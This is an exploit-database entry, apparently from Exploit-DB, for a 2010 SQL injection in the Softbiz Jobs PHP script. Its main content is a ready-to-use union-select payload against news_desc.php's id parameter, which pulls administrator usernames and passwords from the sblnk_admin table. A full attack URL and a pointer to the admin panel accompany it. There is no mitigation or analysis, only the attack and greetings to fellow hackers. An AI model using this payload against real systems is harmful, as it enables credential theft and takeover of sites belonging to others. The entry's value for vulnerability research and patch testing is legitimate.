Softbiz Jobs - 'news_desc' SQL Injection

Author: BAYBORA
type: webapps
platform: php
port: 
date_added: 2010-02-21 
date_updated:  
verified: 1 
codes: OSVDB-62649;CVE-2010-0758 
tags: 
aliases:  
screenshot_url:  
application_url: 

Softbiz Jobs ( news_desc) SQL Injection Vulnerability

###########################
Author    : Baybora

Homepage  : http://www.1923turk.com

Blog      : http://baybora.wordpress.com/

Script    : softbizscripts

Download  : http://www.softbizscripts.com/

###########################

Exploat  :news_desc.php?id=SQL


-4+union+select+1,concat(username,0x3a,password),3,4,5+from+sblnk_admin--



http://server/news_desc.php?id=-4+union+select+1,concat(username,0x3a,password),3,4,5+from+sblnk_admin--


http://xxxx/admin


##############################################################
# Greetz: Manas58 - Gamoscu - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO
##############################################################